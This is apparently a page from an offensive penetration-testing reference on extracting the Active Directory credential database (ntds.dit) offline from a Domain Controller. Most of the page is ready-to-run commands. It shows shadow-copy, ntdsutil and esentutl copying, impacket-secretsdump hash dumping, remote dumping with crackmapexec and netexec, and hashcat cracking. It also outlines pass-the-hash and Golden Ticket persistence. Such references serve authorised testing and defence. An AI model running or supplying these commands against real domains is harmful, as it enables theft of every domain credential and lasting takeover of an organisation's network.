NTDS.dit Extraction (Offline)
reference
- Recon
- Enumerate
- Foothold
- PrivEsc
- Lateral
- Post-Ex
reached from Domain Admin
Every credential in the domain lives in one file on each Domain Controller: C:\Windows\NTDS\ntds.dit. With Domain Admin, or admin rights on a DC, you copy that database and the SYSTEM registry hive, then pull every hash offline. It is the on-disk counterpart to DCSync: where DCSync copies the hashes over the network through the replication protocol, NTDS extraction takes the whole database off the box · louder, but total, and it works even when replication is locked down.
Domain Admin, or administrative access to a Domain Controller. The live ntds.dit is locked while AD runs, so every method reads it through a Volume Shadow Copy or a built-in export, never a plain copy.
Method 1 · Volume Shadow Copy: snapshot C:, then copy the two locked files out
vssadmin create shadow /for=C:
note the "Shadow Copy Volume Name" it prints (HarddiskVolumeShadowCopyN), then:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
vssadmin delete shadows /for=C: /quiet
Method 2 · ntdsutil IFM: one built-in command writes both files
ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds" quit quit
output: C:\temp\ntds\Active Directory\ntds.dit and C:\temp\ntds\registry\SYSTEM
Method 3 · esentutl via VSS: copy the live database directly
esentutl.exe /y /vss C:\Windows\NTDS\ntds.dit /d C:\temp\ntds.dit
Extract every hash offline, on your box, once you have ntds.dit + SYSTEM
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL -just-dc-user krbtgt
Or pull it straight from the DC over SMB (admin on the DC, no manual copy)
crackmapexec smb <DC-IP> -u <USER> -p <PASS> --ntds
netexec smb <DC-IP> -u <USER> -H <NTLM-HASH> --ntds
Same endgame as DCSync, once you hold the hashes:
1. Crack the NTLM hashes: hashcat -m 1000 ntds.hashes rockyou.txt
2. Pass-the-Hash with the Administrator hash across the domain
3. krbtgt hash -> forge a Golden Ticket for long-term domain persistence
delete the shadow copy and securely wipe the exported ntds.dit and SYSTEM from the DC and your staging path · that one file is every credential in the domain, and leaving it behind is itself the finding.